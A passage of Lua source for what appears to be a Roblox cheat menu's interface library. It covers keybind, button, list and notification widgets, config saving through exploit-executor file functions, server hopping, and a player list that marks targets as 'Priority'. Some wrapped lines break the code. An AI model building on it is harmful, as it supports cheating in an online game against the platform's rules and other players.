            Parent = items[ "right_components" ];
            PaddingTop = dim(0, 4);
            PaddingRight = dim(0, 4)
        });
    end

    function cfg.set(text)
        flags[cfg.flag] = text

        items[ "input" ].Text = text

        cfg.callback(text)
    end

    items[ "input" ]:GetPropertyChangedSignal("Text"):Connect(function()
        cfg.set(items[ "input" ].Text)
    end)

    items[ "input" ].Focused:Connect(function()
        library:tween(items[ "input" ], {TextColor3 = rgb(245, 245, 245)})
    end)

    items[ "input" ].FocusLost:Connect(function()
        library:tween(items[ "input" ], {TextColor3 = rgb(72, 72, 72)})
    end)

    if cfg.default then
        cfg.set(cfg.default)
    end

    config_flags[cfg.flag] = cfg.set

    return setmetatable(cfg, library)
end

function library:keybind(options)
    local cfg = {
        flag = options.flag or library:next_flag(),
        callback = options.callback or function() end,
        name = options.name or nil,
        ignore_key = options.ignore or false,
        seperator = options.seperator or false,

        key = options.key or nil,
        mode = options.mode or "Toggle",
        active = options.default or false,

        open = false,
        binding = nil,

        hold_instances = {},
```

```
    items = {};
}

flags[cfg.flag] = {
    mode = cfg.mode,
    key = cfg.key,
    active = cfg.active
}

local items = cfg.items; do
    -- Component
        items[ "keybind_element" ] = library:create( "TextButton" , {
            FontFace = fonts.font;
            TextColor3 = rgb(0, 0, 0);
            BorderColor3 = rgb(0, 0, 0);
            Text = "";
            Parent = self.items[ "elements" ];
            Name = "\0";
            BackgroundTransparency = 1;
            Size = dim2(1, 0, 0, 0);
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.Y;
            TextSize = 14;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        items[ "name" ] = library:create( "TextLabel" , {
            FontFace = fonts.font;
            TextColor3 = rgb(245, 245, 245);
            BorderColor3 = rgb(0, 0, 0);
            Text = cfg.name;
            Parent = items[ "keybind_element" ];
            Name = "\0";
            Size = dim2(1, 0, 0, 0);
            BackgroundTransparency = 1;
            TextXAlignment = Enum.TextXAlignment.Left;
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.XY;
            TextSize = 16;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        library:create( "UIPadding" , {
            Parent = items[ "name" ];
            PaddingRight = dim(0, 5);
            PaddingLeft = dim(0, 5)
        });

        items[ "right_components" ] = library:create( "Frame" , {
            Parent = items[ "keybind_element" ];
            Name = "\0";
            Position = dim2(1, 0, 0, 0);
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(0, 0, 1, 0);
```

```
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIListLayout" , {
    FillDirection = Enum.FillDirection.Horizontal;
    HorizontalAlignment = Enum.HorizontalAlignment.Right;
    Parent = items[ "right_components" ];
    Padding = dim(0, 7);
    SortOrder = Enum.SortOrder.LayoutOrder
});

items[ "keybind_holder" ] = library:create( "TextButton" , {
    FontFace = fonts.font;
    TextColor3 = rgb(0, 0, 0);
    BorderColor3 = rgb(0, 0, 0);
    Text = "";
    Parent = items[ "right_components" ];
    AutoButtonColor = false;
    AnchorPoint = vec2(1, 0);
    Size = dim2(0, 0, 0, 16);
    Name = "\0";
    Position = dim2(1, 0, 0, 0);
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.X;
    TextSize = 14;
    BackgroundColor3 = rgb(33, 33, 35)
});

library:create( "UICorner" , {
    Parent = items[ "keybind_holder" ];
    CornerRadius = dim(0, 4)
});

items[ "key" ] = library:create( "TextLabel" , {
    FontFace = fonts.font;
    TextColor3 = rgb(86, 86, 87);
    BorderColor3 = rgb(0, 0, 0);
    Text = "LSHIFT";
    Parent = items[ "keybind_holder" ];
    Name = "\0";
    Size = dim2(1, -12, 0, 0);
    BackgroundTransparency = 1;
    TextXAlignment = Enum.TextXAlignment.Left;
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.XY;
    TextSize = 14;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIPadding" , {
    Parent = items[ "key" ];
    PaddingTop = dim(0, 1);
    PaddingRight = dim(0, 5);
```

```
        PaddingLeft = dim(0, 5)
    });
--

-- Mode Holder
    items[ "dropdown" ] = library:create( "Frame" , {
        BorderColor3 = rgb(0, 0, 0);
        Parent = library.items;
        Name = "\0";
        BackgroundTransparency = 1;
        Position = dim2(0, 0, 0, 0);
        Size = dim2(0, 0, 0, 0);
        BorderSizePixel = 0;
        AutomaticSize = Enum.AutomaticSize.X;
        BackgroundColor3 = rgb(0, 0, 0)
    });

    items[ "inline" ] = library:create( "Frame" , {
        Parent = items[ "dropdown" ];
        Size = dim2(1, 0, 1, 0);
        Name = "\0";
        ClipsDescendants = true;
        BorderColor3 = rgb(0, 0, 0);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(22, 22, 24)
    });

    library:create( "UIPadding" , {
        PaddingBottom = dim(0, 6);
        PaddingTop = dim(0, 3);
        PaddingLeft = dim(0, 3);
        Parent = items[ "inline" ]
    });

    library:create( "UIListLayout" , {
        Parent = items[ "inline" ];
        Padding = dim(0, 5);
        SortOrder = Enum.SortOrder.LayoutOrder
    });

    library:create( "UICorner" , {
        Parent = items[ "inline" ];
        CornerRadius = dim(0, 4)
    });

    local options = {"Hold", "Toggle", "Always"}

    cfg.y_size = 20
    for _, option in options do
        local name = library:create( "TextButton" , {
            FontFace = fonts.font;
            TextColor3 = rgb(72, 72, 73);
            BorderColor3 = rgb(0, 0, 0);
            Text = option;
```

```
                Parent = items[ "inline" ];
                Name = "\0";
                Size = dim2(0, 0, 0, 0);
                BackgroundTransparency = 1;
                TextXAlignment = Enum.TextXAlignment.Left;
                BorderSizePixel = 0;
                AutomaticSize = Enum.AutomaticSize.XY;
                TextSize = 14;
                BackgroundColor3 = rgb(255, 255, 255)
            }); cfg.hold_instances[option] = name
            library:apply_theme(name, "accent", "TextColor3")

            cfg.y_size += name.AbsoluteSize.Y

            library:create( "UIPadding" , {
                Parent = name;
                PaddingTop = dim(0, 1);
                PaddingRight = dim(0, 5);
                PaddingLeft = dim(0, 5)
            });

            name.MouseButton1Click:Connect(function()
                cfg.set(option)

                cfg.set_visible(false)

                cfg.open = false
            end)
        end
    --
end

if cfg.seperator then -- ok bro my lua either sucks or this was a pain in the ass to make
(simple if statement aswell 💔)
    library:create( "Frame" , {
        AnchorPoint = vec2(0, 1);
        Parent = self.items[ "elements" ];
        Position = dim2(0, 0, 1, 0);
        BorderColor3 = rgb(0, 0, 0);
        Size = dim2(1, 1, 0, 1);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(36, 36, 37)
    });
end

function cfg.modify_mode_color(path) -- ts so frikin tuff 💀
    for _, v in cfg.hold_instances do
        v.TextColor3 = rgb(72, 72, 72)
    end

    cfg.hold_instances[path].TextColor3 = themes.preset.accent
end
```

```
        function cfg.set_mode(mode)
            cfg.mode = mode

            if mode == "Always" then
                cfg.set(true)
            elseif mode == "Hold" then
                cfg.set(false)
            end

            flags[cfg.flag]["mode"] = mode
            cfg.modify_mode_color(mode)
        end

        function cfg.set(input)
            if type(input) == "boolean" then
                cfg.active = input

                if cfg.mode == "Always" then
                    cfg.active = true
                end
            elseif tostring(input):find("Enum") then
                input = input.Name == "Escape" and "NONE" or input

                cfg.key = input or "NONE"
            elseif find({"Toggle", "Hold", "Always"}, input) then
                if input == "Always" then
                    cfg.active = true
                end

                cfg.mode = input
                cfg.set_mode(cfg.mode)
            elseif type(input) == "table" then
                input.key = type(input.key) == "string" and input.key ~= "NONE" and
library:convert_enum(input.key) or input.key
                input.key = input.key == Enum.KeyCode.Escape and "NONE" or input.key

                cfg.key = input.key or "NONE"
                cfg.mode = input.mode or "Toggle"

                if input.active then
                    cfg.active = input.active
                end

                cfg.set_mode(cfg.mode)
            end

            cfg.callback(cfg.active)

            local text = tostring(cfg.key) ~= "Enums" and (keys[cfg.key] or
tostring(cfg.key):gsub("Enum.", "")) or nil
            local __text = text and (tostring(text):gsub("KeyCode.", ""):gsub("UserInputType.", ""))

            items[ "key" ].Text = __text
```

```
            flags[cfg.flag] = {
                mode = cfg.mode,
                key = cfg.key,
                active = cfg.active
            }
        end

        function cfg.set_visible(bool)
            local size = bool and cfg.y_size or 0
            library:tween(items[ "dropdown" ], {Size =
dim_offset(items[ "keybind_holder" ].AbsoluteSize.X, size)})

            items[ "dropdown" ].Position =
dim_offset(items[ "keybind_holder" ].AbsolutePosition.X,
items[ "keybind_holder" ].AbsolutePosition.Y + items[ "keybind_holder" ].AbsoluteSize.Y + 60)
        end

        items[ "keybind_holder" ].MouseButton1Down:Connect(function()
            task.wait()
            items[ "key" ].Text = "..."

            cfg.binding = library:connection(uis.InputBegan, function(keycode, game_event)
                cfg.set(keycode.KeyCode ~= Enum.KeyCode.Unknown and keycode.KeyCode or
keycode.UserInputType)

                cfg.binding:Disconnect()
                cfg.binding = nil
            end)
        end)

        items[ "keybind_holder" ].MouseButton2Down:Connect(function()
            cfg.open = not cfg.open

            cfg.set_visible(cfg.open)
        end)

        library:connection(uis.InputBegan, function(input, game_event)
            if not game_event then
                local selected_key = input.UserInputType == Enum.UserInputType.Keyboard and
input.KeyCode or input.UserInputType

                if selected_key == cfg.key then
                    if cfg.mode == "Toggle" then
                        cfg.active = not cfg.active
                        cfg.set(cfg.active)
                    elseif cfg.mode == "Hold" then
                        cfg.set(true)
                    end
                end
            end
        end)

        library:connection(uis.InputEnded, function(input, game_event)
```

```
            if game_event then
                return
            end

            local selected_key = input.UserInputType == Enum.UserInputType.Keyboard and
input.KeyCode or input.UserInputType

            if selected_key == cfg.key then
                if cfg.mode == "Hold" then
                    cfg.set(false)
                end
            end
        end)

        cfg.set({mode = cfg.mode, active = cfg.active, key = cfg.key})
        config_flags[cfg.flag] = cfg.set

        return setmetatable(cfg, library)
    end

    function library:button(options)
        local cfg = {
            name = options.name or "TextBox",
            callback = options.callback or function() end,
            items = {};
        }

        local items = cfg.items; do
            items[ "button_element" ] = library:create( "Frame" , {
                Parent = self.items[ "elements" ];
                Name = "\0";
                BackgroundTransparency = 1;
                Size = dim2(1, 0, 0, 0);
                BorderColor3 = rgb(0, 0, 0);
                BorderSizePixel = 0;
                AutomaticSize = Enum.AutomaticSize.Y;
                BackgroundColor3 = rgb(255, 255, 255)
            });

            items[ "button" ] = library:create( "TextButton" , {
                FontFace = fonts.font;
                TextColor3 = rgb(0, 0, 0);
                BorderColor3 = rgb(0, 0, 0);
                Text = "";
                AutoButtonColor = false;
                AnchorPoint = vec2(1, 0);
                Parent = items[ "button_element" ];
                Name = "\0";
                Position = dim2(1, -4, 0, 0);
                Size = dim2(1, -8, 0, 30);
                BorderSizePixel = 0;
                TextSize = 14;
                BackgroundColor3 = rgb(33, 33, 35)
            });
```

```
        library:create( "UICorner" , {
            Parent = items[ "button" ];
            CornerRadius = dim(0, 3)
        });

        items[ "name" ] = library:create( "TextLabel" , {
            FontFace = fonts.small;
            TextColor3 = rgb(245, 245, 245);
            BorderColor3 = rgb(0, 0, 0);
            Text = cfg.name;
            Parent = items[ "button" ];
            Name = "\0";
            BackgroundTransparency = 1;
            Size = dim2(1, 0, 1, 0);
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.XY;
            TextSize = 14;
            BackgroundColor3 = rgb(255, 255, 255)
        }); library:apply_theme(items[ "name" ], "accent", "BackgroundColor3");
    end

    items[ "button" ].MouseButton1Click:Connect(function()
        cfg.callback()

        items[ "name" ].TextColor3 = themes.preset.accent
        library:tween(items[ "name" ], {TextColor3 = rgb(245, 245, 245)})
    end)

    return setmetatable(cfg, library)
end

function library:settings(options)
    local cfg = {
        open = false;
        items = {};
        sanity = true; -- made this for my own sanity.
    }

    local items = cfg.items; do
        items[ "outline" ] = library:create( "Frame" , {
            Name = "\0";
            Visible = true;
            Parent = library[ "items" ];
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(0, 0, 0, 0);
            ClipsDescendants = true;
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.Y;
            BackgroundColor3 = rgb(25, 25, 29)
        });

        items[ "inline" ] = library:create( "Frame" , {
            Parent = items[ "outline" ];
```

```
    Name = "\0";
    Position = dim2(0, 1, 0, 1);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, -2, 1, -2);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(22, 22, 24)
});

library:create( "UICorner" , {
    Parent = items[ "inline" ];
    CornerRadius = dim(0, 7)
});

items[ "elements" ] = library:create( "Frame" , {
    BorderColor3 = rgb(0, 0, 0);
    Parent = items[ "inline" ];
    Name = "\0";
    BackgroundTransparency = 1;
    Position = dim2(0, 10, 0, 10);
    Size = dim2(1, -20, 0, 0);
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.Y;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIListLayout" , {
    Parent = items[ "elements" ];
    Padding = dim(0, 10);
    SortOrder = Enum.SortOrder.LayoutOrder
});

library:create( "UIPadding" , {
    PaddingBottom = dim(0, 15);
    Parent = items[ "elements" ]
});

library:create( "UICorner" , {
    Parent = items[ "outline" ];
    CornerRadius = dim(0, 7)
});

library:create( "UICorner" , {
    Parent = items[ "fade" ];
    CornerRadius = dim(0, 7)
});

items[ "tick" ] = library:create( "ImageButton" , {
    Image = "rbxassetid://128797200442698";
    Name = "\0";
    AutoButtonColor = false;
    Parent = self.items[ "right_components" ];
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(0, 16, 0, 16);
    BorderSizePixel = 0;
```

```
            BackgroundColor3 = rgb(255, 255, 255)
        });
    end

    function cfg.set_visible(bool)
        library:tween(items[ "outline" ], {Size = dim_offset(bool and 240 or 0, 0)})
        items[ "outline" ].Position = dim_offset(items[ "tick" ].AbsolutePosition.X, items[ "tick"
].AbsolutePosition.Y + 90)
        library:close_element(cfg)
    end

    items[ "tick" ].MouseButton1Click:Connect(function()
        cfg.open = not cfg.open

        cfg.set_visible(cfg.open)
    end)

    return setmetatable(cfg, library)
end

function library:list(properties)
    local cfg = {
        items = {};
        options = properties.options or {"1", "2", "3"};
        flag = properties.flag or library:next_flag();
        callback = properties.callback or function() end;
        data_store = {};
        current_element;
    }

    local items = cfg.items; do
        items[ "list" ] = library:create( "Frame" , {
            Parent = self.items[ "elements" ];
            BackgroundTransparency = 1;
            Name = "\0";
            Size = dim2(1, 0, 0, 0);
            BorderColor3 = rgb(0, 0, 0);
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.XY;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        library:create( "UIListLayout" , {
            Parent = items[ "list" ];
            Padding = dim(0, 10);
            SortOrder = Enum.SortOrder.LayoutOrder
        });

        library:create( "UIPadding" , {
            Parent = items[ "list" ];
            PaddingRight = dim(0, 4);
            PaddingLeft = dim(0, 4)
        });
    end
```

```
function cfg.refresh_options(options_to_refresh)
    local old_selected_value = flags[cfg.flag] -- store current selected option string
    cfg.current_element = nil -- reset current UI element
    for _, option in cfg.data_store do
        option:Destroy()
    end
    cfg.data_store = {}

    for _, option_data in options_to_refresh do
        local button = library:create("TextButton", {
            FontFace = fonts.small;
            TextColor3 = rgb(0, 0, 0);
            BorderColor3 = rgb(0, 0, 0);
            Text = "";
            AutoButtonColor = false;
            AnchorPoint = vec2(1, 0);
            Parent = items["list"];
            Name = "\0";
            Position = dim2(1, 0, 0, 0);
            Size = dim2(1, 0, 0, 30);
            BorderSizePixel = 0;
            TextSize = 14;
            BackgroundColor3 = rgb(33, 33, 35)
        }); cfg.data_store[#cfg.data_store + 1] = button;

        local name = library:create("TextLabel", {
            FontFace = fonts.font;
            TextColor3 = rgb(72, 72, 73);
            BorderColor3 = rgb(0, 0, 0);
            Text = option_data;
            Parent = button;
            Name = "\0";
            BackgroundTransparency = 1;
            Size = dim2(1, 0, 1, 0);
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.XY;
            TextSize = 14;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        library:create("UICorner", {
            Parent = button;
            CornerRadius = dim(0, 3)
        });

        -- Apply selection highlight if this is the old selected option
        if option_data == old_selected_value then
            library:tween(name, {TextColor3 = rgb(245, 245, 245)})
            cfg.current_element = name
        end

        button.MouseButton1Click:Connect(function()
            local current = cfg.current_element
```

```
                if current and current ~= name then
                    library:tween(current, {TextColor3 = rgb(72, 72, 72)})
                end

                flags[cfg.flag] = option_data
                cfg.callback(option_data)
                library:tween(name, {TextColor3 = rgb(245, 245, 245)})
                cfg.current_element = name
            end)

            name.MouseEnter:Connect(function()
                if cfg.current_element == name then return end
                library:tween(name, {TextColor3 = rgb(140, 140, 140)})
            end)

            name.MouseLeave:Connect(function()
                if cfg.current_element == name then return end
                library:tween(name, {TextColor3 = rgb(72, 72, 72)})
            end)
        end
    end


    cfg.refresh_options(cfg.options)

    return setmetatable(cfg, library)
end

function library:init_config(window)
    window:seperator({name = "Settings"})
    local main, playerlist = window:tab({name = "Configs", tabs = {"Main", "Playerlist"}})

    local column = main:column({})
    local section = column:section({name = "Configs", size = 1, default = false, icon =
"rbxassetid://139628202576511"})
    config_holder = section:list({options = {"Report", "This", "Error", "To", "Finobe"},
callback = function(option) end, flag = "config_name_list"}); library:update_config_list()

    local column = main:column({})
    local section = column:section({name = "Settings", side = "right", size = 1, default =
false, icon = GetImage("Settings.png")})
    section:textbox({name = "Config name:", flag = "config_name_text"})
    section:button({
        name = "Save",
        callback = function()
            pcall(function()
                local config_name = (flags["config_name_text"])
                writefile(library.directory .. "/configs/" .. config_name .. ".cfg",
library:get_config())
                library:update_config_list()
                notifications:create_notification({
                    name = "Configs",
                    info = "Saved config to:\n" .. config_name
                })
```

```
            end)
        end
    })

    section:button({
        name = "Overwrite",
        callback = function()
            pcall(function()
                local config_name = (flags["config_name_list"])
                writefile(library.directory .. "/configs/" .. config_name .. ".cfg",
library:get_config())
                library:update_config_list()
                notifications:create_notification({
                    name = "Configs",
                    info = "Overwrote config :\n" .. config_name
                })
            end)
        end
    })

    section:button({
        name = "Load",
        callback = function()
            pcall(function()
                local config_name = flags["config_name_list"]
                library:load_config(readfile(library.directory .. "/configs/" .. config_name .. ".cfg"))
                library:update_config_list()
                notifications:create_notification({
                    name = "Configs",
                    info = "Loaded config:\n" .. config_name
                })
            end)
        end
    })

    section:button({
        name = "Delete",
        callback = function()
        pcall(function()
                local config_name = flags["config_name_list"]
                delfile(library.directory .. "/configs/" .. config_name .. ".cfg")
                library:update_config_list()
                notifications:create_notification({
                    name = "Configs",
                    info = "Deleted config:\n" .. config_name
                })
            end)
        end
    })

    section:colorpicker({name = "Menu Accent", callback = function(color, alpha)
library:update_theme("accent", color) end, color = themes.preset.accent})
    section:keybind({name = "Menu Bind", key = Enum.KeyCode.Insert, callback =
function(bool) window.toggle_menu(bool) end, seperator = true, default = true})
```

```
        local _request = (http_request and http_request) or (request and request) or (http and
http.request)

        section:button({name = "Join Lowest Server", callback = function()
            local Servers = string.format("https://games.roblox.com/v1/games/%s/servers/
Public?sortOrder=Asc&limit=100", tostring(game.PlaceId))

            local ListServers = function(cursor)
                local Raw = game:HttpGet(Servers .. ((cursor and "&cursor="..cursor) or ""))
                return Services.HttpService:JSONDecode(Raw)
            end

            local Server, Next; repeat
                local Servers = ListServers(Next)
                Server = Servers.data[1]
                Next = Servers.nextPageCursor
            until Server

            if Server.id == game.JobId then
                library.notifications:create_notification({
                    name = "bronx.lol",
                    info = `You are currently in the smallest server!`,
                    lifetime = 10
                })
                return
            end

            Services.TeleportService:TeleportToPlaceInstance(game.PlaceId, Server.id)
        end})

        section:button({name = "Server Hop", callback = function()
            local Servers = {}
            local Request = _request({Url = string.format("https://games.roblox.com/v1/games/
%d/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true",
tostring(game.PlaceId))})
            local Body = Services.HttpService:JSONDecode(Request.Body)

            if Body and Body.data then
                for _, Value in next, Body.data do
                    if type(Value) == "table" and tonumber(Value.playing) and
tonumber(Value.maxPlayers) and Value.playing < Value.maxPlayers and Value.id ~=
game.JobId then
                        table.insert(Servers, 1, Value.id)
                    end
                end
            end

            Services.TeleportService:TeleportToPlaceInstance(game.PlaceId,
Servers[math.random(1, #Servers)])
        end})

        section:button({name = "Rejoin", callback = function()
            Services.TeleportService:TeleportToPlaceInstance(game.PlaceId, game.JobId)
```

```
end})

local _column = playerlist:column({})
local _section = _column:section({name = "Players", size = 1, default = false})

local plr_list = _section:list({options = {}, flag = "player_list"});

_column = playerlist:column({})

_section = _column:section({name = "Player Options", size = 1, default = false, side =
'right'})

local _playerlabel = _section:label({name = "Selected Player : None"})

task.spawn(LPH_NO_VIRTUALIZE(function()
    while task.wait(0.01) do
        _playerlabel.set(string.format("Selected Player : %s", library.flags["player_list"] or
"None"))
    end
end))

local _statuslabel = _section:label({name = "Status : None"})

task.spawn(LPH_NO_VIRTUALIZE(function()
    while task.wait(0.01) do
        local playervalue = library.flags["player_list"]
        local status

        if playervalue ~= nil then
            if table.find(library.priority, playervalue) then
                status = "<font color='rgb(255,0,0)'>Priority</font>"
            elseif table.find(library.whitelist, playervalue) then
                status = "<font color='rgb(0,255,0)'>Whitelisted</font>"
            else
                status = "None"
            end
        else
            status = "None"
        end

        _statuslabel.set(string.format("Status : %s", status))
    end
end))

_section:button({name = "Prioritise", callback = function()
    if not library.flags["player_list"] then return end
    if table.find(library.whitelist, library.flags["player_list"]) then
        table.remove(library.whitelist, table.find(library.whitelist, library.flags["player_list"]))
    end

    if table.find(library.priority, library.flags["player_list"]) then
        table.remove(library.priority, table.find(library.priority, library.flags["player_list"]))

        return
```

```
            end

            if not table.find(library.priority, library.flags["player_list"]) then
                table.insert(library.priority, library.flags["player_list"])
            end
        end})

        _section:button({name = "Whitelist", callback = function()
            if not library.flags["player_list"] then return end
            if table.find(library.priority, library.flags["player_list"]) then
                table.remove(library.priority, table.find(library.priority, library.flags["player_list"]))
            end

            if table.find(library.whitelist, library.flags["player_list"]) then
                table.remove(library.whitelist, table.find(library.whitelist, library.flags["player_list"]))

                return
            end

            if not table.find(library.whitelist, library.flags["player_list"]) then
                table.insert(library.whitelist, library.flags["player_list"])
            end
        end})

        local refreshplrs = LPH_NO_VIRTUALIZE(function()
            local cache = {}

            for i,v in players:GetPlayers() do
                if v==lp then continue end

                table.insert(cache, v.Name)
            end

            table.sort(cache)

            plr_list.refresh_options(cache)
        end)

        task.spawn(refreshplrs)

        players.PlayerAdded:Connect(refreshplrs)

        players.PlayerRemoving:Connect(refreshplrs)
    end
--

-- Notification Library
    function notifications:refresh_notifs()
        local offset = 50

        for i, v in notifications.notifs do
            local Position = vec2(20, offset)
            library:tween(v, {Position = dim_offset(Position.X, Position.Y)},
Enum.EasingStyle.Quad, 0.4)
```

```
            offset += (v.AbsoluteSize.Y + 10)
        end

        return offset
    end

    function notifications:fade(path, is_fading)
        local fading = is_fading and 1 or 0

        library:tween(path, {BackgroundTransparency = fading}, Enum.EasingStyle.Quad, 1)

        for _, instance in path:GetDescendants() do
            if not instance:IsA("GuiObject") then
                if instance:IsA("UIStroke") then
                    library:tween(instance, {Transparency = fading}, Enum.EasingStyle.Quad, 1)
                end

                continue
            end

            if instance:IsA("TextLabel") then
                library:tween(instance, {TextTransparency = fading})
            elseif instance:IsA("Frame") then
                library:tween(instance, {BackgroundTransparency = instance.Transparency and 0.6
and is_fading and 1 or 0.6}, Enum.EasingStyle.Quad, 1)
            end
        end
    end

    function notifications:create_notification(options)
        local cfg = {
            name = options.name or "This is a title!";
            info = options.info or "This is extra info!";
            lifetime = options.lifetime or 3;
            items = {};
            outline;
        }

        local items = cfg.items; do
            items[ "notification" ] = library:create( "Frame" , {
                Parent = library[ "items" ];
                Size = dim2(0, 210, 0, 53);
                Name = "\0";
                BorderColor3 = rgb(0, 0, 0);
                BorderSizePixel = 0;
                BackgroundTransparency = 1;
                AnchorPoint = vec2(1, 0);
                AutomaticSize = Enum.AutomaticSize.Y;
                BackgroundColor3 = rgb(14, 14, 16)
            });

            library:create( "UIStroke" , {
                Color = rgb(23, 23, 29);
                Parent = items[ "notification" ];
```

```
    Transparency = 1;
    ApplyStrokeMode = Enum.ApplyStrokeMode.Border
});

items[ "title" ] = library:create( "TextLabel" , {
    FontFace = fonts.font;
    TextColor3 = rgb(255, 255, 255);
    BorderColor3 = rgb(0, 0, 0);
    Text = cfg.name;
    Parent = items[ "notification" ];
    Name = "\0";
    BackgroundTransparency = 1;
    Position = dim2(0, 7, 0, 6);
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.XY;
    TextSize = 14;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UICorner" , {
    Parent = items[ "notification" ];
    CornerRadius = dim(0, 3)
});

items[ "info" ] = library:create( "TextLabel" , {
    FontFace = fonts.font;
    TextColor3 = rgb(145, 145, 145);
    BorderColor3 = rgb(0, 0, 0);
    Text = cfg.info;
    Parent = items[ "notification" ];
    Name = "\0";
    Position = dim2(0, 9, 0, 22);
    BorderSizePixel = 0;
    BackgroundTransparency = 1;
    TextXAlignment = Enum.TextXAlignment.Left;
    TextWrapped = true;
    AutomaticSize = Enum.AutomaticSize.XY;
    TextSize = 14;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIPadding" , {
    PaddingBottom = dim(0, 17);
    PaddingRight = dim(0, 8);
    Parent = items[ "info" ]
});

items[ "bar" ] = library:create( "Frame" , {
    AnchorPoint = vec2(0, 1);
    Parent = items[ "notification" ];
    Name = "\0";
    Position = dim2(0, 8, 1, -6);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(0, 0, 0, 5);
```

```
                BackgroundTransparency = 1;
                BorderSizePixel = 0;
                BackgroundColor3 = themes.preset.accent
            });

            library:create( "UICorner" , {
                Parent = items[ "bar" ];
                CornerRadius = dim(0, 999)
            });

            library:create( "UIPadding" , {
                PaddingRight = dim(0, 8);
                Parent = items[ "notification" ]
            });
        end

        local index = #notifications.notifs + 1
        notifications.notifs[index] = items[ "notification" ]

        notifications:fade(items[ "notification" ], false)

        local offset = notifications:refresh_notifs()

        items[ "notification" ].Position = dim_offset(20, offset)

        library:tween(items[ "notification" ], {AnchorPoint = vec2(0, 0)}, Enum.EasingStyle.Quad,
1)
        library:tween(items[ "bar" ], {Size = dim2(1, -8, 0, 5)}, Enum.EasingStyle.Quad,
cfg.lifetime)

        task.spawn(function()
            task.wait(cfg.lifetime)

            notifications.notifs[index] = nil

            notifications:fade(items[ "notification" ], true)

            library:tween(items[ "notification" ], {AnchorPoint = vec2(1, 0)},
Enum.EasingStyle.Quad, 1)

            task.wait(1)

            items[ "notification" ]:Destroy()
        end)
    end
--end)()
else
    --LPH_JIT_MAX(function()

-- Variables
local scale = 0.5
local uis = Services.UserInputService
local players = Services.Players
local ws = Services.Workspace
```

```
local rs = Services.ReplicatedStorage
local http_service = Services.HttpService
local gui_service = Services.GuiService
local lighting = Services.Lighting
local run = Services.RunService
local stats = Services.Stats
local coregui = Services.CoreGui
local debris = Services.Debris
local tween_service = Services.TweenService
local sound_service = Services.SoundService
local run_service = Services.RunService

local vec2 = Vector2.new
local vec3 = Vector3.new
local dim2 = UDim2.new
local dim = UDim.new
local rect = Rect.new
local cfr = CFrame.new
local empty_cfr = cfr()
local point_object_space = empty_cfr.PointToObjectSpace
local angle = CFrame.Angles
local dim_offset = UDim2.fromOffset

local color = Color3.new
local rgb = Color3.fromRGB
local hex = Color3.fromHex
local hsv = Color3.fromHSV
local rgbseq = ColorSequence.new
local rgbkey = ColorSequenceKeypoint.new
local numseq = NumberSequence.new
local numkey = NumberSequenceKeypoint.new

local camera = ws.CurrentCamera
local lp = players.LocalPlayer
local mouse = lp:GetMouse()
local gui_offset = gui_service:GetGuiInset().Y

local max = math.max
local floor = math.floor
local min = math.min
local abs = math.abs
local noise = math.noise
local rad = math.rad
local random = math.random
local pow = math.pow
local sin = math.sin
local pi = math.pi
local tan = math.tan
local atan2 = math.atan2
local clamp = math.clamp

local insert = table.insert
local find = table.find
local remove = table.remove
```

```
    local concat = table.concat
--

-- Library ini

    local themes = {
        preset = {
            accent = rgb(0, 162, 255),
        },

        utility = {
            accent = {
                BackgroundColor3 = {},
                TextColor3 = {},
                ImageColor3 = {},
                ScrollBarImageColor3 = {}
            },
        }
    }

    local keys = {
        [Enum.KeyCode.LeftShift] = "LS",
        [Enum.KeyCode.RightShift] = "RS",
        [Enum.KeyCode.LeftControl] = "LC",
        [Enum.KeyCode.RightControl] = "RC",
        [Enum.KeyCode.Insert] = "INS",
        [Enum.KeyCode.Backspace] = "BS",
        [Enum.KeyCode.Return] = "Ent",
        [Enum.KeyCode.LeftAlt] = "LA",
        [Enum.KeyCode.RightAlt] = "RA",
        [Enum.KeyCode.CapsLock] = "CAPS",
        [Enum.KeyCode.One] = "1",
        [Enum.KeyCode.Two] = "2",
        [Enum.KeyCode.Three] = "3",
        [Enum.KeyCode.Four] = "4",
        [Enum.KeyCode.Five] = "5",
        [Enum.KeyCode.Six] = "6",
        [Enum.KeyCode.Seven] = "7",
        [Enum.KeyCode.Eight] = "8",
        [Enum.KeyCode.Nine] = "9",
        [Enum.KeyCode.Zero] = "0",
        [Enum.KeyCode.KeypadOne] = "Num1",
        [Enum.KeyCode.KeypadTwo] = "Num2",
        [Enum.KeyCode.KeypadThree] = "Num3",
        [Enum.KeyCode.KeypadFour] = "Num4",
        [Enum.KeyCode.KeypadFive] = "Num5",
        [Enum.KeyCode.KeypadSix] = "Num6",
        [Enum.KeyCode.KeypadSeven] = "Num7",
        [Enum.KeyCode.KeypadEight] = "Num8",
        [Enum.KeyCode.KeypadNine] = "Num9",
        [Enum.KeyCode.KeypadZero] = "Num0",
        [Enum.KeyCode.Minus] = "-",
        [Enum.KeyCode.Equals] = "=",
